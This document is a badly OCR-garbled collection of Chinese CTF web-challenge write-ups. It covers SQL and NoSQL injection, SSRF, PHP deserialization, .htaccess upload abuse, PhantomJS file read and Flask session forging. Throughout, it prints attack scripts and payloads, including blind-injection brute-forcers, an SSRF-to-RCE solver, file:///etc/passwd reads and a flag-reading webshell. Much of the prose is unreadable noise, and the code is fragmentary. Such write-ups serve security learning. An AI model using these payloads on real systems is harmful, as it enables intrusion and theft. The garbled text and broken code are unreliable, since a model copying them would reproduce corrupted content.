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EilfE HTTP BiEHREaaHeNRs:

. OPTIONS /circlefone/
. DELETE /square/

. CONNECT /two/

. GET fcom/seaerch/
. TRACE Svim/quit/
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XA$data['authorize’], RAFRIIIEH], EFsqI3 415 Fauthorize=3

5 18] ladmin/Index/info

1 POST /admin/Index/info HTTE/1.1

Z Host:
4cf491lc-f8el-4f87-bfEc-96f458a%b%e6. noded. buuoj.cn

3 User-Agent: Meczilla/5.0 (Windows NT 10.0; Win&4;
x64; rv:92.0) Gecko/20100101 Firefox/92.0

4 Accept:
text/html, application/xhtml+xml, application/=ml;e=0.
G, image/webp, */*;q=0.8

> Accept-Language:
zh-CN, zh:;q=0.3,zh-TW;q=0.7,zh-HEK;q=0.5,en-U8;q=0.3, e
n;q=0.2

& Accept-Encoding: gzip, deflate

Content-Type: application/=x-www-form-urlencoded

) Content-Length: 79

Origin:
http://4cfd4911lc-fBel-4fB8T7-bf6c-96£458a%9b% 6. noded . bu
ucj.cn

Connection: close

Referer:

http://4cfd4911lc-fBel-4f8T7-bf6c-96£458a%9b% 6. noded . bu
uoj.cn/admin/Index/info
LZ Cookie: UM_distinctids=
17be840bT7bhb33d1-0c9f9a28fc8482-4c3e2778-144000-17he 84
0b7h4327; s7466eB88d=edeba3flal425f9b70E6E5983a2T4a7le
Upgrade-Insecure-Requests: 1

ok L

username=test &phone=18012128888amail=
123456789%40qq. com&password=123456&desc=11lgauthorize

=3 CSDN @Amoldgee

FHIZANIK 5 5 5 8 B )
FEEANEREEAERMES, RETUTREN X, MEERSH, WRFELFIRR

LR

E#kflag

— —_—
GET /manage/backup/downloadBak?file= HTTR 1.1 200 OK

flag.txt HITR/l.1 Berver: opencesty
Hoskt: Date: Tue, 21 Sep 2021 16:04:10 oHT
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EREEALERIT AT HAbE B2 H#I7 A T htmisg ik

XEFBEHBETARMSQLE T

15038 R 2 77 5 LU

FEBUE BEXT 2 77 B AT LR RS, WRBANFRBEMKEA—F, WSKBENFRERBER TR, FHNFRENKE—,
b, 458 A Sting] 17 7 BB [Sting 2] 17 £ ht, 1 FString2 HString % 7 — 1 F#F 8, X HMySQL £ 4 F1F EAE 7
[String |, BITEERFRFBRJGEIN T — N, SHENSFRBEKE .

WTFHFEMIER:

select from users where username

select from users where username

BEMHEALERE S, BIE -4EHIERFDumb/S S HEE X BHWA LM, FAEMySQLIEE #iEH) B
username & FE B ffiusername B 1T LR AT, ‘BT8R — N2/ B LB EAE, /& LIRFHE,

2. INSERT#: st

XRBIEER S AR, AR, BRI K& e — MR KE, WICHAR(10), VARCHAR(20)%% . H
& 2 SERRAE AN B K T R, BR s K kT, RAREREKE.

T B IS 7T DA A — AN 44 M [facebook done] A /7, BIFE BARA P ARG HIN— 2 (ER: EREFHER - HZ MR
FR, BIERFERERF LR B CHFENILER BAAAF) , SHIKEZEEE BE E BRI KR, ibHREEN .
AP, BTREEKEE, BRI P 258 facebook |, BIRR T EHEIK—H 2K, RIMWAFZMEREF & —
¥, MAEEFHIRR BT 255 7744 LR, BEREFREBEKNAPBNERRF 4.
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1. MRS BE N A K BT PR Ao SRR S5 i PR Akl 77 L 44 R BER S R S BB BE A T, B R R 26k

2. BFERAERISQLIE AL AUR F - A2 ME S —RIIE. R R R SR F A2 R NS, )5BS ERE, Ba
WAREHEATFA M . B9 FADumb I - 2R E R ETDRIE, B Pt s iR B AT, T —ABUCE — 24U R B A5 A i
K, AR E €~ B i - B LRA L.

3. BRI IR B A AR A P A S BRI P 44, TSR NBOHR EE A 2 42 o (DR 24 BRATTUAF P2 Dumb AN 55 123456 B iy,
SR R B RBATE AP EE, TR 4 KL [Dumb
I WRE RS ZE Pz - 2O, AR RERIRA BRI T .

FAECLET K, FURINLZFERT64FT, #linfacebook (BZ 24 1, XAMERNA P LH#ATEM, BINEMAE P
J&, BAIHfacebookE N F 4 FINIRIFRAT1 15 B H S 4T & .

Name : facebook
Secret:Aal23456789

Description:123

VEMH G & Ffacebook /7 Bl A

Welcome to products manager!

Links:

+ View top 5 products
« Add your own product
+ View details of your own product

Product details:

« facebook
. flag{b3227b74—0042—4380—8496—1 9e6eabeccfal)

Name: |

Secret: |
View CSON @Arnoldgdg
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X7 . sqlitei: Abypass
—AME BwebBIE ERAEF &, IR T BIE A SR

function is_valid($string) {
sbanword = [

A% S LR VARRA RS b
1;
sregexp = /' . implode('|', $banword) . '/i';
if (preg_match($regexp, $string)) {

return false;

h

return true;

Bk E AT 1@8% 8 +=|~2<>[1{}:;.
EU R IR B B 1% R A T YRASEE B Cfuzzff)

PHUYS = LILI Ly ¢ Wi | puys J 11 LITUTA Py

if ('in_array($page, ['index', 'create', 'insert', 'delete'])) {
redirect(’' ?page=index'};

}

Sqlite’ t#: bypass
1. selectiIit i, Z%4 AT BHFFRITR, sqlite R 2IBTE AR FR A4, I HBMERE TR
select [id][fdas3

dgfsgfs" from test

select [id]fdas from test

FE—AFILATLUEFER. HoAHR2 A3



0. " . —HW a4

sqlite> select "1d" from test;

select 'id' from test;

select "1d’ from test;

select [1d]a from test;

select '1d'a from test;

CSDN @Amoldgaq

sqlite™] LAcreate table ... as select ... {EF & iR#E SELECT 45 R £ 8L —KE
LTI

table _name=[aaa]as select [sql][&columns[@][name]=]from sqlite_master;&columns[0@][type]=2

$sq = "CREATE TABLE [aaa] as select [sql][ (dumnyl TEXT, dumny2 TEXT, “Jfrom sqlitemaster;’ 2);%;
T

create table [aaa] as select sql from sqlite_master

R sqlite_masterssqlFl K& Naaak +

Post ?page=create

table_name=[aaa]as select [flag_2a2d@4c3][&columns[@][name]=]from flag bf181lda;&columns[0@][type]=2



K@y HTTPSEIRA. K754, ssrf
i@ g robots.txtf§ Fl/star1.php

sglite> select "1d" from test;

select 'id' from test;

select "id’ from test;

select [1d]a from test;

select 'id'a from test;

CSDN @Amoldgao

<Sdive
<{iframe sre="https://www.baidu. com” width=100% height=100% frameborder
</body>

PRI T 2 i R S U hE i ser. phplis !

</html>

url error<br>

XM —Fmissrfy starl.php?path=http://127.0.0.1/starl.php



<?php

error_reporting(9);

if ( $_SERVER[ ]
highlight file(__ FILE_);

}

$flag

class GWHT{

public $hero;

public function _ construct(){
$this->hero new Yasuo;

)i

public function _ toString(){
if (isset($this->hero)){

return $this->hero->hasaki();

}else{

return

class Yongen{
public $file;
public $text;
public function __ construct($file ,$text ) {
$this file $file;
$this text $text;

}

public function hasaki(){
$d
$a= $d. $this->text;
@file put_contents($this-> file,$a);

class Yasuo{

public function hasaki(){

return




public $hero;

1
J

class Yongen{
public $file
public $text

$a new GWHT();
$a->hero=new Yongen();

echo serialize($a);

PayloadF T, HZ., . RSHWE! ! | BHHRR
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starl.php’path=http:

AR5 W81 7 B shell.php BI AT
[FireshellCTF2020]JURL TO PDF

KpgF: ssrfxss

H ##file:/lletclpasswd Enurldgiz, R EETE ] 78 M

FARI € B & WeasyPrint, XMEALES s, HRAFLAFENT <link attachment=xxx>
Vps_Ej—A~index.html

<!DOCTYPE html>
lang="en">
>

< charset="

BT T KM pdf X binwalk -e4h 2 5% F Poppler

pdfdetach -list 5c8b3275e7b5f4b8d2556408a5bbo0d5 . pdf
pdfdetach -save 1 5c¢8b3275e7b5f4b8d2556408a5bboeds . pdf

~fDesktop
1 5

| 4 ~[Desktop/flag - Mousepad

File Edit Search View Document Help

Hlag{Fﬁlcabdf—2324—&ﬁEﬁ—haSb-cIEQ13acbadf}




Poppler &—AN%&F xpdf-3.0 {3 EE ) PDF JEYFE. B FHIH TH#/E PDF XRAMG ST IREE. @
pdfdetach — % 4 BRIREUHR N B9 3044 . @ pdffonts — ZARHr 3% . @ pdfimages — B i2E8S . @

pdfinfo — 3CA%{5 E.. @ pdfseparate — IR T H. @ pdfsig— Z&EHFE4. @ pdftocairo

— PDF %] PNG/JPEG/PDF/PS/EPS/SVG ##:2%, £ Cairo . @ pdftontml — PDF %I

HTML #3#:.%%. @ pdftoppm — PDF %] PPM/PNG/JPEG E f ##2%. @ pdftops — PDF %

PostScript (PS) ##:2%. @ pdftotext — SCAIREL. @ pdfunite — XRG4 T A,

XA E ), BRAMUERA pdftops Tk,

TEETF Arch Linux B RATHR b, %% Poppler, &17:

$ sudo pacman -S poppler

1E Debian. Ubuntu. Linux Mint E:

|

sudo apt-get install poppler-utils

fE RHEL. CentOS. Fedora E:

$ sudo yum install poppler-utils

[2021%£ = #]Package Manager 2021

X4E¥: mongodb typescript SQLIEA

PackageManager 2021

PackageManager 2021

Welcome to the P;l;lt.JL_;l’_‘.‘ﬂJIhl;J-_‘r Site! Ir:,.' hard to create your own package and submit it o admin )

Rx BHAZECHEFEHERETAERA: ), BETMAHEP EAR3EpackageffThkE

PackageManager 2021

fsdf

sfds
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ARIBLU N Rxss , AT packagesRfGadminffKibots, & FIVER A thEbots js
BEFEY, RIASQLEAN: o o o o o o

WaffJ IEMBEA N EAS, Frelmrbhgeid, R ERTE A 324 7F & IE U Z R B 745 8 AT

Ul: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[@]=="a

schema.ts

r2021

ess5.env.MONGO_URI

;'nnrugooqé__: C { - useUnifiedTopology:

FlauthBl & & 1% Mokendl .75 2l csrf sessioniE 2 il 4« B
Exp:



import requests
import string

(10000) :

for j in string.printable:

if j
continue
payload

data={

:payload

r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
if in r.text:
flag+=j

print(flag)
break

5 R EWMEIWebFIIRITEZS, REERED T, EEET s

MongoDBEEF % Javascriptifiiz. FrllolEURjsi il f s Bladmin EEEa s At

prgregretdr : @:1:125 @:1:112

[tk % KBk 2020]Roamphp2-Myblog
K. i ScCH s, zipth B Uil & shell

page=php:

BEEIRRS



)s
mt_rand();
mt_srand($secret_seed);
$ SESSION[ ]

$secret_seed

mt_rand();

error_reporting(9);
session_start();
false;
1) and isset($ POST[
if ($_POST[ and $ POST[

true;

$logined

$ SESSION[ $logined;

b
if ($logined

echo

false isset($_SESSION[ $ SESSION[

>

die();

if(isset($_FILES[ 1) and $ _SESSION[
$tmp_file = $_FILES[ 10 IIE
$tmp_path = $ FILES[ 10
if(($extension pathinfo($tmp_file)[
$allows array ( 5 5 5 );
if(in_array($extension,$allows,true) and in_array($_FILES[
$ext; },$allows),true)){

$upload_name

D M

move_uploaded_file($tmp_path,
echo
} else {
echo

shal(md5(uniqid(microtime(true), true)))

$_SESSION[

],array_map(function($ext){retu

$extension;

$upload_name);




A LA B 25 55 1 2 A X AN XS BE AL A R — B TE32:3KEX 3] ¢_SESSION[ 'password' ] HIfE, {ER W] LLE B H B 2 passwordth
A% FERERT LA A $_POST[ 'password'] == $_SESSION[ 'password'] BINEF
B RRWMIWebFINTESE, RENETT, ELEFAR0gm:

MangoDB3 i Javascriptifiid, FrliollA st Ml A e Bladmin B aR R

MongoErmor: Exacutor error during find command == caused by = Emor: Ig#8@8@alefal@{(@)grgregretds : @:1:125 @:1:112

CREE e fag, ST

EAEERSAE B ST JER4, HATLL Efezipta B Njpg, MziplhhiltA iz mafk
fe—/~2.php B 5 K48 mizip BUE R L&

] b2 4-40ha-sb

Uppclate image -> avsetyimoruplosd
VUGS G DT T 20 B 2cd S4B el T e 09042 g

Dews D EE (Jocans Oae Oim flRa @ed 4 TSEES @ dekie B S0

CSDN @Armoldeeg)

. c G Q8 SIHEM bl 40 abas v THRadBAS & noded buuo)end | findire php g L ] 2 WD n ® " 88
& EEEE s UCH D aten ) venges [ smen eoTem o) Essswmnus [§esieoss [ RSons O O Moo send [ Toous | s - e
flag 6544430 G525-4830-9117-d10c 211 DbdeT)

R OsnE Dews Cmes (Joceans Oos Ooe tiee @ ee & omess @iodie B e

Enciyplion »  Encoding = SOL~ K55~ Ofer v
- Lewd L e TEMGC A e abad e TTRead i naced Do) on 1 1Andes pher age =i 1 aSaet Img upica 1100 M0 T o8 Te0he 20 S A el Tele M S0 g %200
4§ sou s

o) Everane

B Postasta [ Aeterer ] User Agert [ Cockies  Clnar &
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[De1CTF 2019]ShellShellShell

KT sqiEN, RFFMLIEAZE, ssrf, i unlink()
XPIRESE S HRE, tmdiFXE
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

https://xi4orOuiji.github.io/2018/11/06/2018%E4%B8%8A%E6%B5%B7 %E5%B8%82%ES5%A4%AT %ES5%AD %A6%E7 %94 %9
F%E4%BF %A1%E6%81%AF %E5%AE%89%E5%85%A8%E 7 %AB %9E %E8%B5%9Bweb%E9%A2%98%E8%AT %A3/

—ANBFFM, actionFfr Aregisteri®w] AVEM, I B md5 36 IERD 5 FE B A 2


https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540
https://xi4or0uji.github.io/2018/11/06/2018%25E4%25B8%258A%25E6%25B5%25B7%25E5%25B8%2582%25E5%25A4%25A7%25E5%25AD%25A6%25E7%2594%259F%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8%25E7%25AB%259E%25E8%25B5%259Bweb%25E9%25A2%2598%25E8%25A7%25A3/

import hashlib

for num in (10000,9999999999) :

res hashlib.md5( (num) .encode()).hexdigest()
if res[0:5]

print( (num))

break

VEM—MestHl P EBREER, RABE—1-publishfIZhaE

oo
€ LI

o8 1 t 1 afGf t baigj.cn X A0 h B8 O

4 FRE BULCTF (2 e () SHmERS [6 smes w-riom. ) eeemEmens [§ awioems [l RReEE & CEVE - Monite s

Hi test

Please Input your signature

Please choose your maod

.. 7 T s .
* & ° Al
G50
Sukamit

Al RETEESQVEN , (B IR B I ML
Dirsearchid#ti H & KM Aindex.php~3CfF, = ImiEaE T &0 XM

€ i L 1b20-f328-4a32-8847 af06f9e85.noded buuoj.cn

& Mg m BUUCTF (D) BEstf (8) SEMERS REes MoTHN.. ) CEsEEEess [ sEunedE
<?php

require_once " user.php’ :

%C = new Customer () ;
if (isset ($_GET[' action’ 1))

Saction=3_GET[ action’];

$allow=0;

$white action = "delete|index|login|logout |phpinfo|profile/publish|register™;
Svpattern = explode(”|”, Swhite_action):

foreach($vpattern as $key=>$value)

if {preg_match("/$value/i”, Saction ) && (!preg_match(™/\//i",$action)} )

Sallow=1;

if ($allow==1)
{require_once "views/”,$ _GET[ action’];}
else |
die("Get out hacker!<br>jaivy' s laji waf.”):

else
header (" Location: index. php?action=login’):

CSDN @Amoldggg




ActionfJ# 5E/E—ANFIR B, B LLFE BIEE 4 phpinfo
{Econfig.php~ user.php~KItLF —TF
User.phpiX & /> _EA£1E & EadminfU R

BRE bR X ANinsertEi $,  #Econfig.php

$column
$value- - " (" ( , AR Tk VAN 1o >get_column{$values))."]"';
$nic

fresult




FRNYERE, HEAATEsignatureit B, RAPATHIsqREAINE

import requests

import string

table string.digits string.lowercase string.uppercase

def post():
password
for i in (1, 33):
for j in table:
signature
(1, ord(3))

datal[ ] signature

try:
re requests.post(url, cookies

except:
password Jj
print(password)
break
print(password)

cookies, data

data, timeout

E))




RSN jaivypassword
BEIGFIXE, EEFadminf FiELllip, HR$ SERVERREMOTE_ADDRIT N, M4 REk— ssrfl A, BT

R

@Armoldggqg

WE— = FHIACH S 7] AR phplRE 4 S soapclientx 7 51l 4k i3 17 ssrf, it ?action=phpinfoZ& ElphpFF /8 T soap#hi /g, XE
LA Radmin 4y B EHEE N XANRER, 28 BUH 3 AT M BEE #1T = 75140

soap

REEr Client => enabled
Soap Server = enabled

Directive => Local Value => Master Value
soap. wsdl _cache => 1 => 1

soap. wsdl_cache dir => /tmp => /tmp

soap. wsdl cache enabled => 1 => 1

soap. wsdl cache limit => 5 => b5

soap. wsdl_cache_ttl => 86400 => 86400401000



SREU R AL Mip, SRJETEXS X BN AP 5L 18 Faddslashes#E47 % X, AT LAFI B mysql7E 52 048 () B R S48 56 5 9 191638 1
% FRJF R B 7 B R S I S

A B 5 Ak payload I B -

$post_string

$headers array(

)
$b = new SoapClient(null,array( $target,
join( ,$headers) (string)strlen($post_string) $post_string,
))s

serialize($b);

str_replace( 5 ,$aaa);

str_replace( 5 ,$aaa);
echo bin2hex($aaa);

X HHcodeitHPHPSESSID FEMBATHERFREFIK—H, ARMEWBHRFEER—AN1E, EARMBREAED, kK
PHPSESSID 51i&3K PA K& IAERS iR 75 R — e RIZ B AR (RAERS MR T RS BATM S EMREE) . WHR SSRF B,
XPHPSESSID¥ 2 —MEH MMER21E. AT BETFRABMWELE, —MT, AN ERESR

¥4 B payload, T ®sqliE A ¥ Hb 75 B AT

TERBEEEMHAMESE, BEENT, XBMEHBABINEIE, hitps:/github.com/rkmylo/ctf-write-ups/blob/master/2018-
n1ctf/web/easy-php-540/solve_ssrf_rce.py EEBHIAHR T T

re

sys

string

random

requests

subprocess
from itertools import product
import hashlib

target
action = _target

def get _creds():
username .join(random.choice(string.ascii_lowercase string.digits) for _ in
password .join(random.choice(string.ascii_lowercase string.digits) for _ in
return username, password

solve code(html):

code re.search( , html).group(1)



https://github.com/rkmylo/ctf-write-ups/blob/master/2018-n1ctf/web/easy-php-540/solve_ssrf_rce.py

res hashlib.md5(

if res[0:5] code:
print( (num))
return (num)

break

register(username, password):
resp sess.get(_action

code solve code(resp.text)
sess.post(_action , data={

return True

login(username, password):
resp sess.get(_action

code solve code(resp.text)
sess.post(_action , data={

return True

publish(sig, mood):

return sess.post(_action
get_prc_now():

return subprocess.check_output ([
get_admin_session():

sess requests.Session()

resp sess.get(_action

code = solve code(resp.text)

return sess.cookies.get dict()[

brute_filename(prefix, ts, sessid):

(num) .encode()).hexdigest()

:username, :password,

:username, :password,

], code

ds ["".join(i) for i in product(string.digits, repeat=3)]

ds ["".join(i) for i in product(string.digits, repeat=2)]

for d in ds:
f prefix + ts d
resp requests.get(_target
if resp.status_code 200:
return f

return False

print
sess requests.Session()

username, password = get creds()

f, cookies={ :sessid})

print . (username, password)

register(username, password)

print . (username, password)

login(username, password)

sess.cookies.get dict()[

code = get _admin_session()




(phpsessid, (code)+43, code)

(ssrf), ssrf)
.join( (lambda k: ( (k))[2:].rjust(2, ), mood))

(mood)

payload

phpsessid

sess requests.Session()

sess.cookies requests.utils.cookiejar_from dict({ : phpsessid})

(

resp sess.post(_action , files=shell)
print(resp.text)
prc_now = get prc_now()[:-1]

if not in resp.text:
print
sys.exit(@)

- CSDN @Arnoldgaq




B2 EA KR D B /upload/itest.php T S EEMAT, FFibemd
REBERAEAMN, THEMLKR, SENEEL, KA THNKIpE, R4 Lm0

Fcurlks TUHE N A RAF TR, RiX-OBRAIRFRT) BEEEH HERAFH

$_SERVER[ 'REMOTE_ADDR"]);

($_FILES['file']["name’]){
tfilename y($ POST['file'])-?-§ POST['file']-:-$ FILES['file'][ name'];
(!is_ar filename)) 5p;{

i 1
$filename i 'L ', -$filename);

($filename) 1]1){

}
d
$new_name

you-can-do-it!";
3 -unlink{$new_name);

ght file(




Xt F AR K filename AT T —HE AR IR K, (HREE X BEHMRATRS], BrUARANTAT LA 8 A #1758

flendffilenamefi[count-1] NEEMSE, MABEBEWNBAITWN: file[1]=111&File[2]=php

Array [ [1] == 111 2] == php) a

O OeEd Osuws O EE ()asaasm 0 s
- HSS -
o o UL hifp/focalhost
4 souum
Pt data Rederer [ User Ager

file] 1]=111 &M 2]=phip

EL [ ing )rand(18e )"t Sext;

¢ _$_FILES['Filé']['tmp_name'],$new_name):

ST[ “hello®];

file($_)[0],0,6)——"@<2phy
$_,$new_name)---F

"wou-can-do-it!";

bsp; -unlink($new_name};

X BARAE SCHE I BENL SO 42, BAR R G Bunlink B BR SCHF,  #93E B 5B SCfE 2 #4758 /. . /shell.php
2% hitps://blog.csdn.net/a3320315/article/details/104132751

-

W MIRATE PHP SRS AU BT SO, SRR et s,
EREMREEMGSAEE, FRITFEAE, TSR TEELHN RS ERE, Aol

{IR POST
1 file[l)=saakfile[0]=php/.

PEREISEE R xxx.php/. . TE move_uploaded_filel) SMERAUSTSR, SHGHORMESIRSES, RETOHES xxx.php 597,

(B0 wnlink() BIESSERT, oo, php REENGS T 3,

-t
1 file[l)=asa&kfild[0]=php/. ./shell.php

SHETE ISR xox.phps. L Sshellophp , T —THERIERE, GEREIMISCE AR R T-Fshellphp, [EHEHERET unlink()

Wi EN _RE, ERE s pn,

FF R~

FRfilename


https://blog.csdn.net/a3320315/article/details/104132751

F) F postmanti&phpcurl

B

MR PHP RS L AIERB TN R, SIS,

T, MFESER T SRR M ¥, EmRaL,
W POST

1 filell)=asa&file(0]=php/.
PEREISOE 2 xxx.php/. . TE move_uploaded_filel) SRERAUETSR, S40Mtasisid, EThES xxx. php (59,

B unlink() BRRSME,  xxx.php BRI T FE.

mnTE
1 file[l]=aaa&filg[8]=php/../shell.php

SHETHE A xox.phpy . . /shell.php , AT — RS, GIENGYECES Y E 52 FRshell php, (Bt unlink() |

HIRAR KT, EODaar e, FRRER— CSDN @y

wrnolde

X B ifileFBshell.php I I 254 @<?php echo find /etc -name flag -exec cat { + ;

s
hHp O RE Save Codo snipeet
L I

POST HESNONI0E v

<ty

. Bosty @ - - Coskies

$eu
e o

u
B - o

=%
™ v -1
[ I

hello R (¥ 4 7 Z A _EAR S48 7 — 4, ARBVTHAZ] T

"].%new_name);

CodeBRA g, (HARKIF K AshellphpIANE, FEEHCHM, SEBEK, RX
A, RAFSEE YT F B AT

BAE R EEERAEWNSIRHE T —



curl init();

curl setopt array($curl, array(

CURLOPT_URL

CURLOPT_RETURNTRANSFER true,
CURLOPT_ENCODING ,

CURLOPT_MAXREDIRS 10,

CURLOPT_TIMEOUT 0,

CURLOPT_FOLLOWLOCATION true,
CURLOPT_HTTP_VERSION CURL_HTTP_VERSION 1 1,
CURLOPT_CUSTOMREQUEST ,
CURLOPT_POSTFIELDS

CURLOPT_HTTPHEADER array (

$response = curl_exec($curl);

curl_close($curl);

echo $response;

. B 11720200, 166 107.21.200,166 5
1 R fvarf v i g phey -l X
e fovewen el oy oy SHN  EER - YRESATE - BEY

AR B AR SO B AT DR B & i L E M ourl, A% — shell.phpZI| %45 [F B X T

@< ?php echo

|

WRFEH T-FSH, curlgi<ll multipartform-data 177 K EPOSTIER . -FSH Lname=valuel1 5 Rk ESH AR, WMEE
R—ANX, WFEELname=@filef) 75 Rk E .

curl -F -F -F -F



[JMCTF 2021]UploadHub

XKig¥: .htaccessIt i X i H * php@tr
SHERLMTANELE

$_FILES[“file~]["size"]

name™ ], Supload. "/ $Filenase);

FIRIDE miBLUNRSqQUEN T, VB BB A ~apache2.conffic B X4 Fphp_flag engine ¥ B A0, 43%Pi% B FMT HFEM
phpf#

<Directory - fvar/ww/>
Options - - Indexes - FollowSymLinks
AllowOverride-All
Require-all-granted

FollowSymLinks
rerride-None
Require-all-granted
#</Directory>

B33 4% htaccess 3 #E7E/upload H T I8 phpf#th

< .htaccess>

SetHandler application/x-httpd-php
Require all granted

php_flag engine on

</ >

php_value auto_prepend file .htaccess
H




558 11l BT A UL B ) ST R4 — A48 R B AL 85 b 2
ForceType application/x-httpd-php
SetHandler application/x-httpd-php

php_flag engine on #J ja PHPIIf##T php_value auto_prepend_file .htaccess
1 SCHHAR AT Z BT B S ##T AR . htaccess [ I 2%

& phpinfoE Blsystem% % H Ay & 34T R H 5t

var_dump(file get contents( ));

WEFHA <file> in%s, HMEHLET <«directory>

< "k gif">

SetHandler application/x-httpd-php
php_flag engine on

</ >

B A giffE S S RAT
WA IEN B E

import requests
import string
import hashlib
BHRE T

htaccess

resp requests.post(
}, files={ : ,htaccess)} )
requests.get(

if not in a:
return False
else:
print(a)
return True

C string.ascii_letters string.digits
for j in (32):
for i in c:
print( flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:

continue




[FireshellCTF2020]ScreenShooter

K4t . CVE-2019-17221)¢ £ xml
— X EEDIRE, KT T ileth AT

! Host:
BES844db-8a56-48b1-b746-4d046c0d9f4f . noded. buusj. cn:
g1

| User-Agent: Mozilla/5.0 (Windows NT 10.0:; Winéd:
®E4; rwi:92.0) Gecko/Z0100101 Firefox/92.0
Accept:
text/html, application/xhtml+xml, application/xml;qg=0.
9, image/webp, */*;q=0.8

| Accept-Language:
zh=-CN, zh;q=0.8, zh-TW; g=0.7, zh-HK:; q=0. 5, en-U5;q=0. 3, ¢
n:g=0.2

| Accept-Encoding: gzip, deflate

' Content-Type: application/x-www-form-urlencoded

| Content-Length: IZ

| Origin: .
http://665844db~BaS5E~48bl~b74E~4d04E6c0dSF4f. noded. bu °
uoj.cn: Bl

| Connection: close
Referer:
htep://6658449db-Ba56-48b1l-bT4E6-4d046c0d9f4f. noded . bu
uoj.on: 81/

! Cookie: UM distinctid=

17c308697£91a-0941c370efobibB-4c322778-144000-17c308
E97falda
| Upgrade-Insecure-Requests: 1

url=file:///etc/passwd

https://beeceptor.com/ Al LA EEhttpiE R, BRATEIBE— i AJE, EMTNIERZm S, BEEFEHAPNREREEE, RE SHKRR

FEERIAEERE R, JERKR IR 6E M https

Request Header

“sccepd™: “texthimLapplcation/dhiml -l application embag =09 g=08"
“user-agent™; "Morala/ S0 (Unkrowe: Linus x84 44] Apple\WebKit538.1

[KHTML, like Gacka] Prantemi2. 1.1 Safard538.17,
“scoept-encoding™: "grip. deflate’,
“accept-language™ “en,”

1

2 Berver:
I Date:

s

=1

openreasty

Sun, 10 oct 2021
Content-Type: text/html
Content-Length: 43
Connection: close

Etag: W/ "Zb-hélWDZ+bIxM

¥=-Powered-By: Express
<html>
<body>
e
Bad URLEI
</ body>
</html>

CsSON @Armaoldggq

A] LAYE 2 F 2 FPhantomJSIEH, #ZPhantomJS & IAA AT B 30 LAETRIFICVE-2019-17221, i@idfile://URLH

XMLHttpRequestfil &

SAniReR

i 2. 118 Phantom JS BT FERCT EHEIERAE, Mle: [/ URIBIXMLHUpRequest TR, RRBETRAMENpage.open () S5
o, ESHENEETHUAHEESPREE, MaETT LU ISMEHTMUTIHESEPEA,, ELRiT RO R LEHEROTT.,
B0, S0Wpagesender () BHMEE, WigEREFLAPOFRER, BB EEETHAL,


https://beeceptor.com/

<!DOCTYPE html>

type="
var karsa;
karsa new XMLHttpRequest;
karsa.onload function(){
document.write(this.responseText)
¥

karsa.open( )

karsa.send();

ZEvps EibEENL U5 1H)
[CISCN2019 /= ¥ 3% Day1 Web3]Flask Message Board

Ky BRIEN, sessionfhiE
WABEARIEN, = AEFE{10*10)} B Rhacker T

e reject because You are: Bot
or hacker

Title

Author

dNONVINous

BAUthorfB I EE, BN IEHEE, {configh3kBlsecret_key

b page 'PROPAGATE_EXCEPTIONS':



thi&session FFadming 4y

flask-unsign --sign --cookie --secret “11|iilTilT11|21|I1IIT111||22ilT|T21i1iT111”

At X GG BT, XsessionFkalifwin#R A st T 1 JLiE, j i7/adminid 2 &/~ A Zadminfsession, A T
MEFR A — B R A%}

import requests
import re,sys

from flask.sessions import SecureCookieSessionInterface

):
def __init_ (self):
self.secret_key = None

pp = App()
app.secret_key secret_key

si SecureCookieSessionInterface()
serializer si.get signing serializer(app)
while(1):

session = serializer.dumps({ :True})

print(session)

requests.get(target , cookies={ :session}).text
if in r:

print( )

exit(9)

6. SREHAGAILEA fadein 58, MEESIRHTRGEEHTensoFlowilE E(E, #EMREITRHRGS
ol {RHIFRGT] LA 3R S E AR, 1562304489115

1562304584548

7. tiit WebiE I TensorFlowli®! (EEATensoBoardilISEIIE —ERICMF) SIS MR HRHEN
10240 2ROERT /Flag BUST) (MIEERLIUESOT 2% model_init.py , BB G AETFAI _iHIEEY)

Tensorboard 0T H {4
def init{model path):
new_sess = tf.Session()
meta file madel _path + ".meta™
model = model_path
saver = tf.train, import_scta_graph(meta_file)
saver.restore{new_sess, sodel)
return new_sess
ieds init( detection_model/detection’)

writer = tf.summary.FileWriter{™./log", sess.graph} i |_,' | fei f Irie ||||
o gl DR R AT LELF LE L E

FiTHiTtensorboard --logdir . flog

fEContentft A — /MK E 1024175, HllaaaaaabxCZC, EPFIE Flflag.



. Just leave what you want to say.
* database. \ \j

SQL

 web page * reject because You are:
flag{a8ddaf20-babd-4472-
agbi1-4a8aaac28d31} or
hacker

Title CSDN @Amoldege

[WMCTF2020]Web Check in 2.0

xitz. php _filter it 38 8% 3 B2 exit();

<?php

error_reporting(9);
$sandbox md5($_SERVER[
mkdir($sandbox) ;
chdir($sandbox);
var_dump ( $sandbox) ;
highlight file(__ FILE_ );
if(isset($_GET[ 1) {
$content = $_GET[
if(preg_match( ,$content))
die( )
if(file_exists($content))
require_once($content);

echo($content);

file put contents($content, $content);

BET XA exit(); RN A ZHHT I K LB S ERFF R E |
https://xz.aliyun.com/t/8163#toc-0
REERKIINEET T BEARA RS T IEES

https://www.php.net/manual/zhffilters.compression.php

Em

W A F php ) 4 A5 2%

payload:

content=php:


https://xz.aliyun.com/t/8163#toc-0
https://www.php.net/manual/zh/filters.compression.php

LS mILFILHE R Rk T

indesx.php test.php

?»< 2php

sourcestest |'_:-h|-_:-

Rag(5267e1 01 105 4058-aTal-ac IHE2LEINET] fvetonmce = teat

@ Onss Dews Daxs (Jnoess 0o Tine e Bea & feeis @i B o

o S0 U 2 R 20 B Jebat 1 Y T P, 1 i M TIATEE T S50 T 1 8168 BVl P N rTotey e ama vl Ry Y S M BT 4

B — M ALEARE DT B RAIRAN fiEfag 4, BLKESEXAT BRI Ek
php

string.strip_tags I/ \F%% & s £ HTML 1 PHP #7i2, php7.3/5 % 1k

PyCalX 1&2

KEgF: woIATEAN Python & X4k 7 5F 5 I

PyCalx1

PyCalx

Value 1 (Example: 1 abc

s

Iperator (Example: +

Value 2 (Example: 1 abcg)

>33 print(123+111)
234

. CSDN @Amoldegg

HEFIRAPITHIEAIREAPHEN




LA FET T repr() AiER9C:

»>>»5 = 'RUNOOB'
>»> repr(s)
ma RUNOOBI n

MRMALTHIERZIARS] S

